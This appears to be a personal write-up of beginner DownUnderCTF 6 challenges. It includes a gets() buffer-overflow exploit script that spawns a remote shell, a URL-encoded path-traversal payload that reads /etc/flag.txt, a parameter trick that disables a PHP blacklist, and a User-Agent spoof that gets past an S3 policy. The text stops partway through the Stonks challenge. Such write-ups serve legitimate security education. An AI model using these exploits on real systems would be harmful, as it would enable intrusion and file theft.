DownUnderCTF 6 Complete Writeup - All Categories
Note: This writeup documents my personal experience solving challenges during DownUnderCTF 6. All content is for educational purposes only.
Introduction
DownUnderCTF 6 was an engaging and well-organized 48-hour CTF featuring a wide range of challenges across various categories. This writeup covers my solutions to 27 out of 64 challenges, primarily ranging from beginner to easy difficulty, with a few at the medium level.
Competition Duration: 48 Hours
Team Placement: 116 (solo participant in a team)
Challenges Solved: 27/64
Final Score: 2848
๐ Beginner Challenges
Challenge 1: Zeus
Solves: 1053
Category: Beginner / Reverse Engineering
Description
To Zeus Maimaktes, Zeus who comes when the north wind blows, we offer our praise, we make you welcome!
Solve
We are given an ELF binary named zeus:
1
2
3
4
5
$ file zeus
zeus: ELF 64-bit LSB pie executable, x86-64, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped
$ ./zeus
The northern winds are silent...
Running the binary with no arguments does nothing useful.
Opening it in Ghidra, we find that the program checks for two arguments:
-invocation- A specific string:
"To Zeus Maimaktes, Zeus who comes when the north wind blows, we offer our praise, we make you welcome!"
If both arguments match, the binary executes this logic:
1
2
3
puts("Zeus responds to your invocation!");
xor(&local_98, "Maimaktes1337");
printf("His reply: %s\n", &local_98);
The encrypted message is made up of these hex values stored in variables:
1
2
3
4
5
6
7
local_58 = 0xc1f1027392a3409;
local_50 = 0x11512515c6c561d;
local_48 = 0x5a411e1c18043e08;
local_40 = 0x3412090606125952;
local_38 = 0x12535c546e170b15;
local_30 = 0x3a110315320f0e;
uStack_29 = 0x4e4a5a00;
We decrypt them using a script like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import struct
hex_values = [
0xc1f1027392a3409,
0x11512515c6c561d,
0x5a411e1c18043e08,
0x3412090606125952,
0x12535c546e170b15,
0x3a110315320f0e,
0x4e4a5a00
]
data = b''
for val in hex_values:
size = (val.bit_length() + 7) // 8
data += struct.pack('<Q', val)[:size]
key = b"Maimaktes1337"
result = bytearray()
for i in range(len(data)):
result.append(data[i] ^ key[i % len(key)])
print(result.decode())
Output:
1
DUCTF{king_of_the_olympian_gods_and_god_of_the_sky}
Flag: DUCTF{king_of_the_olympian_gods_and_god_of_the_sky}
Challenge 2: Kick the Bucket
Solves: 819
Category: Beginner / Cloud
Description
In this challenge, CI/CD pipelines and Terraform manage AWS resources. Part of the infrastructure includes an S3 bucket that stores files and configuration. To prevent misuse, access to the bucket is restricted only to Terraform, and time-limited access is provided via S3 presigned URLs.
Your goal:
Given a presigned URL forflag.txtand the S3 bucket resource policy, figure out how to retrieve the flag.
Provided files
s3_presigned_url.txt
1
https://kickme-95f596ff5b61453187fbc1c9faa3052e.s3.us-east-1.amazonaws.com/flag.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAXC42U7VJ7MRP6INU%2F20250715%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250715T124755Z&X-Amz-Expires=604800&X-Amz-SignedHeaders=host&X-Amz-Signature=6cefb6299d55fb9e2f97e8d34a64ad8243cdb833e7bdf92fc031d57e96818d9b
s3_resource_policy.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "s3:GetObject",
"Resource": [
"arn:aws:s3:::kickme-95f596ff5b61453187fbc1c9faa3052e/flag.txt",
"arn:aws:s3:::kickme-95f596ff5b61453187fbc1c9faa3052e"
],
"Principal": {
"AWS": "arn:aws:iam::487266254163:user/pipeline"
},
"Condition": {
"StringLike": {
"aws:UserAgent": "aws-sdk-go*"
}
}
}
]
}
Solution
The presigned URL grants access to flag.txt, but the S3 bucket policy restricts s3:GetObject permission to a specific IAM user (pipeline) and requires the request to include a User-Agent header matching aws-sdk-go*.
To retrieve the flag:
- Use the presigned URL with a HTTP client.
- Set the
User-Agentheader to a value starting withaws-sdk-go, e.g.,"aws-sdk-go/1.0". - The bucket policy will allow the request, and the presigned URL will authenticate it.
Example command:
1
curl -A "aws-sdk-go/1.0" "https://kickme-95f596ff5b61453187fbc1c9faa3052e.s3.us-east-1.amazonaws.com/flag.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAXC42U7VJ7MRP6INU%2F20250715%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250715T124755Z&X-Amz-Expires=604800&X-Amz-SignedHeaders=host&X-Amz-Signature=6cefb6299d55fb9e2f97e8d34a64ad8243cdb833e7bdf92fc031d57e96818d9b"
This returns:
1
DUCTF{youtube.com/watch?v=A20QQSZsv4E}
Flag: DUCTF{youtube.com/watch?v=A20QQSZsv4E}
Challenge 3: Philtered
Solves: 760
Category: Beginner / Web
Description
Can you phigure this one out?
You are given a web application with the following file structure:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
.
โโโ challenge
โ โโโ aboutus.php
โ โโโ contact.php
โ โโโ data
โ โ โโโ aboutus.txt
โ โ โโโ information.txt
โ โ โโโ our-values.txt
โ โ โโโ philtered.txt
โ โโโ flag.php
โ โโโ gallery.php
โ โโโ index.php
โ โโโ layout.php
โโโ Dockerfile
The index.php script loads files dynamically based on GET parameters but filters out certain blacklisted terms such as "php", "filter", "flag", "..", and path separators to prevent unsafe file access.
Screenshot of main site
Provided code snippet (index.php):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
<?php
class Config {
public $path = 'information.txt';
public $data_folder = 'data/';
}
class FileLoader {
public $config;
public $allow_unsafe = false;
public $blacklist = ['php', 'filter', 'flag', '..', 'etc', '/', '\'];
public function __construct() {
$this->config = new Config();
}
public function contains_blacklisted_term($value) {
if (!$this->allow_unsafe) {
foreach ($this->blacklist as $term) {
if (stripos($value, $term) !== false) {
return true;
}
}
}
return false;
}
public function assign_props($input) {
foreach ($input as $key => $value) {
if (is_array($value) && isset($this->$key)) {
foreach ($value as $subKey => $subValue) {
if (property_exists($this->$key, $subKey)) {
if ($this->contains_blacklisted_term($subValue)) {
$subValue = 'philtered.txt';
}
$this->$key->$subKey = $subValue;
}
}
} else if (property_exists($this, $key)) {
if ($this->contains_blacklisted_term($value)) {
$value = 'philtered.txt';
}
$this->$key = $value;
}
}
}
public function load() {
return file_get_contents($this->config->data_folder . $this->config->path);
}
}
$loader = new FileLoader();
$loader->assign_props($_GET);
require_once __DIR__ . '/layout.php';
$content = <<<HTML
<nav style="margin-bottom:2em;">
<a href="index.php">Home</a> |
<a href="aboutus.php">About Us</a> |
<a href="contact.php">Contact</a> |
<a href="gallery.php">Gallery</a>
</nav>
<h2>Welcome to Philtered</h2>
HTML;
$content .= "<p>" . $loader->load() . "</p>";
$content .= "<h3>About Us</h3>";
$loader->config->path = 'aboutus.txt';
$content .= "<p>" . $loader->load() . "</p>";
$content .= "<h3>Our Values</h3>";
$loader->config->path = 'our-values.txt';
$content .= "<p>" . $loader->load() . "</p>";
$content .= <<<HTML
<h3>Contact</h3>
<ul>
<li>Email: info</li>
<li>Please don't talk to us, we don't like it</li>
</ul>
HTML;
render_layout('Philtered - Home', $content);
?>
Solve
By default, the application blocks paths containing blacklisted terms (including "php", "flag", "..", and so on) unless the GET parameter allow_unsafe is set to true.
This disables the blacklist, allowing you to set the config path to ../flag.php and read the file contents:
1
https://[challenge-url]/index.php?allow_unsafe=true&config[path]=../flag.php
The app will display the contents of flag.php without executing it. By viewing the page source, you will find the flag embedded in the PHP code:
1
<?php $flag = 'DUCTF{h0w_d0_y0u_l1k3_y0ur_ph1lters?}'; ?>
Flag: DUCTF{h0w_d0_y0u_l1k3_y0ur_ph1lters?}
Challenge 4: corporate-cliche
Solves: 499
Category: Beginner / pwn
Description
Itโs time to really push the envelope and go above and beyond! Weโve got a new challenge for you. Can you find a way to get into our email server?
Files Provided
email_server(binary)email_server.c(source code)
Source Code (email_server.c)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void open_admin_session() {
printf("-> Admin login successful. Opening shell...\n");
system("/bin/sh");
exit(0);
}
void print_email() {
printf(" ______________________________________________________________________\n");
printf("| To: all-staff@downunderctf.com |\n");
printf("| From: synergy-master@downunderctf.com |\n");
printf("| Subject: Action Item: Leveraging Synergies |\n");
printf("|______________________________________________________________________|\n");
printf("| |\n");
printf("| Per my last communication, I'm just circling back to action the |\n");
printf("| sending of this email to leverage our synergies. Let's touch base |\n");
printf("| offline to drill down on the key takeaways and ensure we are all |\n");
printf("| aligned on this new paradigm. Moving forward, we need to think |\n");
printf("| outside the box to optimize our workflow and get the ball rolling. |\n");
printf("| |\n");
printf("| Best, |\n");
printf("| A. Manager |\n");
printf("|______________________________________________________________________|\n");
exit(0);
}
const char* logins[][2] = {
{"admin", "๐ฆ๐ฉ๐ฒ๐ฎ๐ณ"},
{"guest", "guest"},
};
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
char password[32];
char username[32];
printf("โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ\n");
printf("โ Secure Email System v1.337 โ\n");
printf("โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ\n\n");
printf("Enter your username: ");
fgets(username, sizeof(username), stdin);
username[strcspn(username, "\n")] = 0;
if (strcmp(username, "admin") == 0) {
printf("-> Admin login is disabled. Access denied.\n");
exit(0);
}
printf("Enter your password: ");
gets(password);
for (int i = 0; i < sizeof(logins) / sizeof(logins[0]); i++) {
if (strcmp(username, logins[i][0]) == 0) {
if (strcmp(password, logins[i][1]) == 0) {
printf("-> Password correct. Access granted.\n");
if (strcmp(username, "admin") == 0) {
open_admin_session();
} else {
print_email();
}
} else {
printf("-> Incorrect password for user '%s'. Access denied.\n", username);
exit(1);
}
}
}
printf("-> Login failed. User '%s' not recognized.\n", username);
exit(1);
}
Analysis
The program disables admin login by rejecting the username admin upfront. However, the password buffer is read using unsafe gets(), which allows buffer overflow.
By carefully overflowing the password buffer and overwriting the username buffer in memory, we can bypass the username check by overwriting the username from guest to admin.
The admin password is the Unicode emoji string ๐ฆ๐ฉ๐ฒ๐ฎ๐ณ (UTF-8 encoded), which must be placed correctly in the overflow payload.
Key vulnerabilities:
gets(password)allows buffer overflow- Username check happens before password input
- Memory layout allows overwriting username buffer from password buffer
Solve
We can exploit this by using a buffer overflow attack. The strategy is:
- Enter
guestas username to bypass the initial admin check - Craft a payload that overflows the password buffer to overwrite the username buffer with โadminโ
- Include the correct admin password at the start of our payload
Exploit Script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python3
import socket
import time
def exploit():
# Connect to the challenge server
host = "chal.2025.ductf.net"
port = 30000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
# Receive the banner
banner = s.recv(1024)
print("Banner:", banner.decode())
# Send username (any username, we'll overwrite it)
username = "guest"
s.send((username + "\n").encode())
# Receive password prompt
prompt = s.recv(1024)
print("Prompt:", prompt.decode())
# Craft the payload
admin_password = "๐ฆ๐ฉ๐ฒ๐ฎ๐ณ" # The admin password from the code
admin_password_bytes = admin_password.encode('utf-8')
print(f"Admin password bytes: {len(admin_password_bytes)} bytes")
print(f"Admin password: {admin_password_bytes}")
# Strategy:
# 1. Put correct password at start with null terminator
# 2. Fill remaining space in password buffer with padding
# 3. Overwrite username buffer with "admin\x00"
payload_bytes = admin_password_bytes # Start with password bytes
payload_bytes += b"\x00" # Null terminate the password
remaining_space = 32 - len(admin_password_bytes) - 1 # Account for null terminator
payload_bytes += b"A" * remaining_space # Fill exactly to 32 bytes
payload_bytes += b"admin\x00" # Overwrite username
print(f"Total payload length: {len(payload_bytes)} bytes")
s.send(payload_bytes + b"\n")
# Check if we got shell access
response = s.recv(1024)
print("Response:", response.decode())
if b"Admin login successful" in response:
print("Exploit successful! You should have shell access now.")
# Interactive shell
while True:
try:
s.settimeout(1)
data = s.recv(1024)
if data:
print(data.decode(), end='')
except socket.timeout:
pass
try:
cmd = input()
s.send((cmd + "\n").encode())
except KeyboardInterrupt:
break
else:
print("Exploit failed. Response:", response.decode())
s.close()
if __name__ == "__main__":
exploit()
Output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Banner:
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Secure Email System v1.337 โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Prompt: Enter your username: Enter your password:
Admin password bytes: 20 bytes
Admin password: b'\xf0\x9f\x87\xa6\xf0\x9f\x87\xa9\xf0\x9f\x87\xb2\xf0\x9f\x87\xae\xf0\x9f\x87\xb3'
Total payload length: 38 bytes
Response: -> Admin login successful. Opening shell...
Exploit successful! You should have shell access now.
$ cat flag.txt
DUCTF{wow_you_really_boiled_the_ocean_the_shareholders_thankyou}
Flag: DUCTF{wow_you_really_boiled_the_ocean_the_shareholders_thankyou}
Challenge 5: our-lonely-dog
Solves: 426
Category: Beginner / Misc
Description
e-dog has been alone in the downunderctf.com email server for so long, please yeet him an email of some of your pets to keep him company, he might even share his favourite toy with you. He has a knack for hiding things one layer deeper than you would expect.
Analysis
From the challenge description, we need to:
- Find e-dogโs email address
- Send him an email
- Look for hidden information in his response
The hint โHe has a knack for hiding things one layer deeper than you would expectโ suggests we need to look beyond the visible email content.
Solve
Step 1: Finding the Email Address
Based on the challenge description mentioning โdownunderctf.com email serverโ, we can guess that e-dogโs email address is: e-dog@downunderctf.com
Step 2: Sending an Email
We send an email to e-dog@downunderctf.com. The subject and content can be anything - it doesnโt actually need to be related to pets despite what the description suggests.
Step 3: Analyzing the Response
E-dog responds with an automated message:
1
Hi, E-dog gets quite pupset when they can't find their bone, especially when it's been a ruff day. Maybe we need to pull out a new one for them?
However, this is the same response regardless of what we send. The hint about โone layer deeperโ suggests we need to examine the email headers rather than just the visible content.
Step 4: Examining Email Headers
When we check the full email headers of e-dogโs response, we find:
1
X-FLAG: DUCTF{g00d-luCk-G3tT1nG-ThR0uGh-Al1s-Th3-eM41Ls}
The flag is hidden in a custom email header X-FLAG, which is โone layer deeperโ than the visible email content.
Flag: DUCTF{g00d-luCk-G3tT1nG-ThR0uGh-Al1s-Th3-eM41Ls}
Challenge 6: secure-email-attachments
Solves: 324
Category: Beginner / web
Description
During the email apocalypse, IT admins tried to prevent the DOS of all systems by disallowing attachments to emails. To get around this, users would create their own file storage web servers for hosting their attachments, which also got DOSed because everyone was mass spamming the links in emailsโฆ *Can you read *
/etc/flag.txtfrom the filesystem?
Files Provided
1
2
3
4
5
6
7
8
9
10
.
โโโ app
โ โโโ attachments
โ โ โโโ the-fat-monke.jpg
โ โโโ flag.txt
โ โโโ go.mod
โ โโโ go.sum
โ โโโ main.go
โโโ docker-compose.yml
โโโ Dockerfile
Source Code (main.go)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package main
import (
"net/http"
"path/filepath"
"strings"
"github.com/gin-gonic/gin"
)
func main() {
r := gin.Default()
r.GET("/*path", func(c *gin.Context) {
p := c.Param("path")
if strings.Contains(p, "..") {
c.AbortWithStatus(400)
c.String(400, "URL path cannot contain \"..\"")
return
}
// Some people were confused and were putting /attachments in the URLs. This fixes that
cleanPath := filepath.Join("./attachments", filepath.Clean(strings.ReplaceAll(p, "/attachments", "")))
http.ServeFile(c.Writer, c.Request, cleanPath)
})
r.Run("0.0.0.0:1337")
}
Analysis
The application has several security mechanisms:
- Path traversal filter: Blocks URLs containing
".." - Path cleaning: Uses
filepath.Join("./attachments", filepath.Clean(...))to sanitize paths - Attachment path removal: Removes
/attachmentsfrom the URL path withstrings.ReplaceAll(p, "/attachments", "")
However, thereโs a vulnerability in how these protections interact with each other.
Vulnerability
The key insight is that the order of operations creates a bypass opportunity:
- The
..check happens first - Then
/attachmentsis removed from the path - Finally
filepath.Clean()is applied
We can exploit this by:
- Using URL encoding to bypass the
..filter (%2e=.) - Adding
/attachmentssegments that get removed, but leave behind path traversal sequences - The remaining path after processing allows directory traversal
Solve
Payload Construction:
The goal is to read /etc/flag.txt. We need to traverse from ./attachments/ up to the root and then down to /etc/flag.txt.
Our payload: /attachments%2e/attachments%2e/%2e/attachments%2e/etc/flag.txt
Step-by-step breakdown:
/attachments%2e/attachments%2e/%2e/attachments%2e/etc/flag.txt- After
/attachmentsremoval:%2e%2e/%2e%2e/etc/flag.txt - URL decode
%2eto.:../../etc/flag.txt - After
filepath.Clean():../../etc/flag.txt - Final path:
app/attachments/../../etc/flag.txtโ traverses to/etc/flag.txt
1
curl "http://chal.2025.ductf.net:30014/attachments%2e/attachments%2e/%2e/attachments%2e/etc/flag.txt"
Output:
1
DUCTF{w00000000T!!1one!?!ONE_i_ThORt_tH3_p4RtH_w4R_cL34N!!1??}
Flag: DUCTF{w00000000T!!1one!?!ONE_i_ThORt_tH3_p4RtH_w4R_cL34N!!1??}
Challenge 7: Down To Modulate Frequencies!
Solves: 294
Category: Beginner / Misc
Description
One of the scavengers found an abandonded station still transmitting. Its been so long, no one remembers how to decode this old tech, can you figure out what was being transmitted? Decode the alphanumeric message and wrap it in
DUCTF{}.
Files Provided
dtmf.txt(containing encoded data)
Analysis
DTMF (Dual-Tone Multi-Frequency) is the signaling system used by touch-tone telephones. Each key press generates two simultaneous tones - a low frequency and a high frequency.
The DTMF frequency mapping is:
- Low frequencies: 697 Hz, 770 Hz, 852 Hz, 941 Hz (rows)
- High frequencies: 1209 Hz, 1336 Hz, 1477 Hz, 1633 Hz (columns)
Each key corresponds to a unique combination of one low and one high frequency.
DTMF Frequency Table
| Key | Low Hz | High Hz | Sum |
|---|---|---|---|
| 1 | 697 | 1209 | 1906 |
| 2 | 697 | 1336 | 2033 |
| 3 | 697 | 1477 | 2174 |
| A | 697 | 1633 | 2330 |
| 4 | 770 | 1209 | 1979 |
| 5 | 770 | 1336 | 2106 |
| 6 | 770 | 1477 | 2247 |
| B | 770 | 1633 | 2403 |
| 7 | 852 | 1209 | 2061 |
| 8 | 852 | 1336 | 2188 |
| 9 | 852 | 1477 | 2329 |
| C | 852 | 1633 | 2485 |
| * | 941 | 1209 | 2150 |
| 0 | 941 | 1336 | 2277 |
| # | 941 | 1477 | 2418 |
| D | 941 | 1633 | 2574 |
The Data
The encoded data from dtmf.txt:
1
22472247224724182247224724182106210621062418232923292329241822472247241819791979197924182247224724182174217424182188241819791979197924182174217424182061206120612061241821062106241819791979197924182174241820612061206120612418232924181979197919792418210621062106241821062106210624182061206120612418217421742418224724182174217424182247241820332033241821742174241820612061206124182188241819791979241819791979197924182061206120612061
My Brain Is Still Recovering
This challenge was a real mind-bender! At first, I saw โDTMFโ and thought โokay, phone tones, this should be straightforward.โ WRONG.
I stared at this massive string of numbers and had no idea what I was looking at. Was it frequencies? Durations? Some weird encoding? I tried parsing it every way I could think of:
- Single digits
- Pairs
- Triples
- Random groupings
Nothing made sense! The frustration was real.
Then I had the breakthrough - what if these are 4-digit chunks representing frequency sums? I mean, DTMF uses two frequencies, so their sum would be a unique identifier, right?
The โAHA!โ moment: When I split the data into 4-digit chunks and mapped them to DTMF frequency sums, I got actual DTMF keys! But thenโฆ more numbers and symbols that looked like gibberish.
Thatโs when I realized - this isnโt just DTMF, itโs DOUBLE ENCODED! The DTMF decode gave me T9 multi-tap sequences. Anyone who lived through the flip phone era knows the pain of pressing โ2โ three times to get โCโ.
Complete Solve Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# Define DTMF key frequencies
DTMF_KEYS = {
(697, 1209): '1',
(697, 1336): '2',
(697, 1477): '3',
(697, 1633): 'A',
(770, 1209): '4',
(770, 1336): '5',
(770, 1477): '6',
(770, 1633): 'B',
(852, 1209): '7',
(852, 1336): '8',
(852, 1477): '9',
(852, 1633): 'C',
(941, 1209): '*',
(941, 1336): '0',
(941, 1477): '#',
(941, 1633): 'D',
}
# Build sum-to-key map
sum_to_key = {low + high: key for (low, high), key in DTMF_KEYS.items()}
# The encoded data
data = "22472247224724182247224724182106210621062418232923292329241822472247241819791979197924182247224724182174217424182188241819791979197924182174217424182061206120612061241821062106241819791979197924182174241820612061206120612418232924181979197919792418210621062106241821062106210624182061206120612418217421742418224724182174217424182247241820332033241821742174241820612061206124182188241819791979241819791979197924182061206120612061"
# Break into 4-digit numbers
chunks = [int(data[i:i+4]) for i in range(0, len(data), 4)]
# Decode DTMF
decoded = ""
for freq_sum in chunks:
decoded += sum_to_key.get(freq_sum, "?")
print("๐ Decoded using sum of frequencies:")
print(decoded)
# T9 Key mapping
T9_KEYS = {
'1': ['.', ',', '?', '!', '1'],
'2': ['A', 'B', 'C', '2'],
'3': ['D', 'E', 'F', '3'],
'4': ['G', 'H', 'I', '4'],
'5': ['J', 'K', 'L', '5'],
'6': ['M', 'N', 'O', '6'],
'7': ['P', 'Q', 'R', 'S', '7'],
'8': ['T', 'U', 'V', '8'],
'9': ['W', 'X', 'Y', 'Z', '9'],
'0': [' '], # Typically 0 is space in T9
'#': ['']
}
# Group repeated characters (simulate keypresses)
import itertools
t9_decoded = ""
for key, group in itertools.groupby(decoded):
presses = len(list(group))
if key in T9_KEYS:
chars = T9_KEYS[key]
index = (presses - 1) % len(chars)
t9_decoded += chars[index]
else:
t9_decoded += key # Leave unknowns or special chars as is
print("\n๐ก T9 Decoded Text:")
print(t9_decoded)
print("\n๐ Final Flag:")
print("DUCTF{"+t9_decoded+"}")
Step 1: Decode DTMF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# Define DTMF key frequencies
DTMF_KEYS = {
(697, 1209): '1',
(697, 1336): '2',
(697, 1477): '3',
(697, 1633): 'A',
(770, 1209): '4',
(770, 1336): '5',
(770, 1477): '6',
(770, 1633): 'B',
(852, 1209): '7',
(852, 1336): '8',
(852, 1477): '9',
(852, 1633): 'C',
(941, 1209): '*',
(941, 1336): '0',
(941, 1477): '#',
(941, 1633): 'D',
}
# Build sum-to-key map
sum_to_key = {low + high: key for (low, high), key in DTMF_KEYS.items()}
# Your encoded input
data = (
"224722472247241822472247241821062106210624182329232923292418224722472418197919791979"
"241822472247241821742174241821882418197919791979241821742174241820612061206120612418"
"210621062418197919791979241821742418206120612061206124182329241819791979197924182106"
"210621062418210621062106241820612061206124182174217424182247241821742174241822472418"
"203320332418217421742418206120612061241821882418197919792418197919791979241820612061"
"20612061"
)
# Break into 4-digit numbers
chunks = [int(data[i:i+4]) for i in range(0, len(data), 4)]
# Decode DTMF
decoded = ""
for freq_sum in chunks:
decoded += sum_to_key.get(freq_sum, "?")
print("๐ Decoded using sum of frequencies:")
print(decoded)
This gives us: 666#66#555#999#66#444#66#33#8#444#33#7777#55#444#3#7777#9#444#555#555#777#33#6#33#6#22#33#777#8#44#444#7777
Step 2: Decode T9 (Multi-tap)
The decoded DTMF represents T9/multi-tap input where repeated key presses select different letters:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# T9 Key mapping
T9_KEYS = {
'1': ['.', ',', '?', '!', '1'],
'2': ['A', 'B', 'C', '2'],
'3': ['D', 'E', 'F', '3'],
'4': ['G', 'H', 'I', '4'],
'5': ['J', 'K', 'L', '5'],
'6': ['M', 'N', 'O', '6'],
'7': ['P', 'Q', 'R', 'S', '7'],
'8': ['T', 'U', 'V', '8'],
'9': ['W', 'X', 'Y', 'Z', '9'],
'0': [' '], # Typically 0 is space in T9
'#': ['']
}
# Group repeated characters (simulate keypresses)
import itertools
t9_decoded = ""
for key, group in itertools.groupby(decoded):
presses = len(list(group))
if key in T9_KEYS:
chars = T9_KEYS[key]
index = (presses - 1) % len(chars)
t9_decoded += chars[index]
else:
t9_decoded += key # Leave unknowns or special chars as is
print("๐ก T9 Decoded Text:")
print(t9_decoded)
Output:
1
2
3
4
5
6
7
8
๐ Decoded using sum of frequencies:
666#66#555#999#66#444#66#33#8#444#33#7777#55#444#3#7777#9#444#555#555#777#33#6#33#6#22#33#777#8#44#444#7777
๐ก T9 Decoded Text:
ONLYNINETIESKIDSWILLREMEMBERTHIS
๐ Final Flag:
DUCTF{ONLYNINETIESKIDSWILLREMEMBERTHIS}
Flag: DUCTF{ONLYNINETIESKIDSWILLREMEMBERTHIS}
Challenge 8: Network Disk Forensics
Solves: 285
Category: Beginner / Misc
Description
Nobody likes having to download large disk images for CTF challenges so this time weโre giving you a disk over the network!
Solve
We are given a Go source code (main.go) that creates an NBD (Network Block Device) server. Letโs analyze the code to understand what weโre dealing with:
Looking at the main.go, we can see several key components:
- NBD Server Setup: The code creates an NBD server that listens for connections:
1 2 3 4 5 6 7 8 9
if *listenNbd != "" { listen, err := net.Listen("tcp", *listenNbd) // ... if err := gonbd.Handle(wrap, []gonbd.Export{ { Name: "root", Backend: &blockDeviceBackend{BlockDevice: blockDevice}, }, }, &gonbd.Options{}); err != nil {
- Filesystem Generation: It generates a complex directory structure with dummy files and images:
1
func generateFilesystem(flag string, levels int, dummyFilesPerDirectory int, dummyImagesPerDir int, spreadDirectoriesPerDirectory int)
- Flag Placement: Most importantly, it places the flag in a random bottom directory but creates a symlink for easy access:
1 2 3
// make a symlink to the flag file in the challenge directory symlink := filesystem.Factory.NewSymlink(path.Unix.Join(bottomDir.path, flagFileName)) if _, err := challengeDir.Create("flag.jpg", symlink); err != nil {
- Image Generation: The flag is embedded as text in a JPEG image:
1
func generateTextPNG(text string, width int, height int) ([]byte, error)
From this analysis, we understand that:
- The server exports a filesystem named โrootโ via NBD protocol
- The flag is stored as a JPEG image with embedded text
- Thereโs a convenient symlink called
flag.jpgin the root directory
Now letโs connect to the NBD server at chal.2025.ductf.net:30016:
1
sudo nbd-client -N root chal.2025.ductf.net 30016 /dev/nbd0
Output:
1
2
Negotiation: ..size = 16MB
Connected /dev/nbd0
Next, we create a mount point and mount the network block device:
1
2
sudo mkdir /mnt/nbd
sudo mount /dev/nbd0 /mnt/nbd
Now letโs explore the filesystem structure:
1
ls -la /mnt/nbd
Output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
total 60
drwxr-xr-x 6 root root 4096 Jul 20 2025 .
drwxr-xr-x 5 root root 4096 Jul 20 11:07 ..
drwxr-xr-x 5 root root 4096 Jul 20 2025 d51711969
drwxr-xr-x 5 root root 4096 Jul 20 2025 da633a8ee
drwxr-xr-x 5 root root 4096 Jul 20 2025 db4e243c7
-rwxr-xr-x 1 root root 2175 Jul 20 2025 f0c674982.txt
-rwxr-xr-x 1 root root 2179 Jul 20 2025 f158306ef.txt
-rwxr-xr-x 1 root root 2186 Jul 20 2025 f210a6689.txt
-rwxr-xr-x 1 root root 2178 Jul 20 2025 f44cf1760.txt
-rwxr-xr-x 1 root root 2198 Jul 20 2025 f519574aa.txt
-rwxr-xr-x 1 root root 2161 Jul 20 2025 f73a909a2.txt
-rwxr-xr-x 1 root root 2151 Jul 20 2025 f98f17826.jpg
-rwxr-xr-x 1 root root 2181 Jul 20 2025 fbbfb16fc.txt
-rwxr-xr-x 1 root root 2182 Jul 20 2025 ffa10e79f.txt
lrwxr-xr-x 1 root root 43 Jun 7 1906 flag.jpg -> da633a8ee/d657a4f33/db895ec78/fa2b9fe58.jpg
drwx------ 2 root root 4096 Jul 20 2025 lost+found
Perfect! We can see thereโs a symbolic link flag.jpg that points to the actual flag file deep in the directory structure: da633a8ee/d657a4f33/db895ec78/fa2b9fe58.jpg.
As predicted from our code analysis, the Go program created a complex filesystem with multiple levels of directories containing dummy files, but cleverly placed a symlink in the root directory for easy access to the flag.
Now letโs open the JPEG image to retrieve the flag:
1
xdg-open /mnt/nbd/flag.jpg
The image opens and shows the flag text embedded in the image:
The JPEG image displaying the flag text
Flag: DUCTF{now_you_know_how_to_use_nbd_4y742rr2}
Challenge 9: Stonks
Solves: 265
Category: Beginner / Web
Description
Times were wild before the email apocalypse. There were even sites giving out free money that also supported currency conversions!
WARNING: This challenge contains flashing colours! To disable add?boring=trueto the end of the URL when you visit the site.
Solve
We are given a Flask web application that simulates a currency exchange platform. Letโs analyze the source code to understand the vulnerability.
Looking at the stonks.py file, we can see several key components:
- Currency System: The app supports multiple currencies with conversion rates:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
CURRENCY_CONVERSIONS = { "AUD": 1, "NZD": 1.08, "EUR": 0.56, "USD": 0.65, "GBP": 0.48, "CAD": 0.89, "JPY": 94.48, "CNY": 4.65, "KRW": 888.04, "PLN": 2.39, "ZAR": 11.64, "INR": 55.89, "IDR": 10597.38 }
